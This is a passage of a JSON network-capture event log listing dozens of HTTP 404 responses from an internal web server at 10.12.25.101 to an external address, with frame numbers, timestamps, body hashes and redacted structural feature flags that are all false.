          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2259,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256391.377961000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2261",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-7e88605a9a213d2ef758ec19",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2262,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256393.658821000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2264",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-5efef750c5800bee346efa35",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2265,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256393.925871000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2267",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-525e7e28ed19662d2e12cc58",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2268,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256394.765023000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2270",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-b586b4ea8c3ffe851039cb3a",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2272,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256396.401242000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2274",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-6e57a5dfc6535d215ca39d49",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2275,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256398.163156000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2277",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-4b7e5c77e90813e5ba8ba281",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2278,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256398.525206000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2280",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-c0acefb139673d8f577ee0d6",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2281,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256399.260880000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2283",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-6b71c0651f1ded56ea7554ab",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2284,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256399.521224000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2286",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-7cacce59e8b301e27ee87e0c",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2287,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256400.391576000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2289",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-0ad09b1a61cb13bca62ed17d",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2290,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256401.616337000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2292",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-3ca0dfa22f3a1ba067b326f2",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2293,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256401.892319000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2295",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-b182488af0b08e06bc0ee9a0",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2296,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256402.932644000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2298",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-22fbce843ecfda1d34eaf42a",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2299,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256405.552718000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2301",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-3cf96127b7fb54515d39b4ac",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2302,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256405.813411000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2304",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-0cb8f5d9ad4fb3afa6c98576",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2305,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256406.553990000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2307",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-33a688d0a36fff5a6a81f566",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2308,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256406.814814000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2310",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-7439bdf9ec22c0c6e772c1ae",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2311,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256407.081933000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2313",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-25543c6750467a8dd339a9f5",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2314,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256407.341673000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2316",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-a5119feb76a9fd8fb3b388a4",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2317,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256407.601619000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2319",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-f2d3537283c36009dc5696cf",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2320,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256407.862272000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2322",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-d0639b4528a98a8e1723eb3d",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2323,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256408.122816000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2325",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-208fda04fef7ae33bab0a195",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2326,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256408.382395000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2328",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-906c44c58b58763dc1a94e74",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2330,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256409.170370000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2332",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-4b5936f24b3588c04ac74aea",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2333,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256409.711811000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2335",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-9ec87f55bc696701e932b61d",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2336,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256409.996392000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2345",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65366,
          "event_id": "evt-e7db13fe5787555f6af83cd9",
          "src_port": 80,
          "tcp_stream": 73,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2347,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256425.836884000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2349",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65366,
          "event_id": "evt-93ff9ea130f6562569682a34",
          "src_port": 80,
          "tcp_stream": 73,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2350,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256426.101284000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2352",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65366,
          "event_id": "evt-e66aac3f25d36b98c349dd63",
          "src_port": 80,
          "tcp_stream": 73,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2353,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256426.365424000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2355",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65366,
          "event_id": "evt-c84ee5169d5e1aac944688c2",
          "src_port": 80,
          "tcp_stream": 73,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2356,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256426.654245000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2358",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65366,
          "event_id": "evt-9f02d7b9b6daea69d1d90ab8",
          "src_port": 80,
          "tcp_stream": 73,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2359,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256429.189094000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2361",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65366,
          "event_id": "evt-4f82909ecddc08c27cf78509",
          "src_port": 80,
          "tcp_stream": 73,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2362,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256429.978506000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2364",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65366,
          "event_id": "evt-523bbcfa4478e91253616a34",
          "src_port": 80,
          "tcp_stream": 73,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2366,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256430.849558000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2368",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65366,
          "event_id": "evt-9fbda5407385357c112dcd3d",
          "src_port": 80,
          "tcp_stream": 73,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2369,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256432.060819000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2371",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65366,
          "event_id": "evt-21cbcd57c75d56eb9402b396",
          "src_port": 80,
          "tcp_stream": 73,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2372,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256436.978855000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2374",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65366,
          "event_id": "evt-d1519c3de9b34484a70ae054",
          "src_port": 80,
          "tcp_stream": 73,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2375,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256437.244688000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2377",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65366,
